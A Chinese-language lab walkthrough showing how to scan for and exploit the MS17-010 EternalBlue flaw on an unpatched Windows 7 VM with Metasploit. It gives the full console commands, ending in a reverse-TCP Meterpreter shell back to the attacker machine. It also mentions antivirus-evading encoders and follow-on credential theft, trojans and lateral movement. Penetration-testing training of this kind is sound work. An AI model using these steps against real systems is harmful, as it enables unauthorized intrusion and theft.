准备工作
靶机
系统:Windows 7 专业版 SP1 x64位
限制条件:445端口开放(如开启防火墙需关闭),未安装 MS17-010 4013389 补丁,详见 https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
IP:192.168.4.206
攻击机
系统:Kali-Linux-2021.2 VMware虚拟机版
IP:192.168.4.201
Metasploit 攻击框架介绍
Metasploit 简介
Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台。Web、CLI)。推荐使用控制台接口,通过控制台接口,你可以访问和使用所有Metasploit的插件,例如Payload、利用模块、Post模块等。Metasploit还有第三方程序的接口,例如Nmap、SQLMap等,可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入mfsconsole,MSF的启动界面如图所示。
Metasploit 模块介绍
MSF框架由多个模块组成,各个模块及其具体功能如下。
Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只会负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件按检测出来。
Metasploit 渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示:
- 扫描目标机系统,寻找可用漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击
检测 MS17-010 漏洞
使用 Kali 下自带的 Metasploit 攻击框架可检测和利用 MS17-010 漏洞,具体步骤如下:
打开 Metasploit
1 | # msfconsole |
搜索 MS17-010 相关模块
1 | # search ms17-010 |
命令执行后会返回 MS17-010 相关的检测和攻击利用模块,此处使用 auxiliary/scanner/smb/smb_ms17_010
漏洞扫描模块。
加载 MS17-010 漏洞扫描模块
1 | # use auxiliary/scanner/smb/smb_ms17_010 |
设置扫描目标范围
1 | # set RHOSTS 192.168.4.206 |
注:若要范围扫描,则将IP改为 192.168.4.*
扫描
1 | # run |
检测到目标 192.168.4.206 存在 MS17-010 漏洞。
攻击利用 MS17-010 漏洞
切换到 MS17-010 攻击模块
1 | # use exploit/windows/smb/ms17_010_eternalblue |
设置攻击目标
1 | # set RHOST 192.168.4.206 |
设置 payload
1 | # set payload windows/x64/meterpreter/reverse_tcp |
注:可不用设置(此处留个思考问题,如果目标机不能连攻击机,怎么设置?),默认为此 payload 。
设置监听 IP 和 监听端口
1 | # set LHOST 192.168.4.201 |
注:可不用设置,默认监听本机 IP 和 4444 端口,可根据需要设置。
执行漏洞利用模块
1 | # exploit |
出现 WIN 和 meterpreter 字样,即为攻击利用成功:
获取 Shell 会话,确认IP
1 | # shell |
确认 ipconfig 结果为目标机 IP,即为攻击成功,获取到目标机权限,进而可执行后续获取凭据、修改密码、植入木马、横向移动等操作。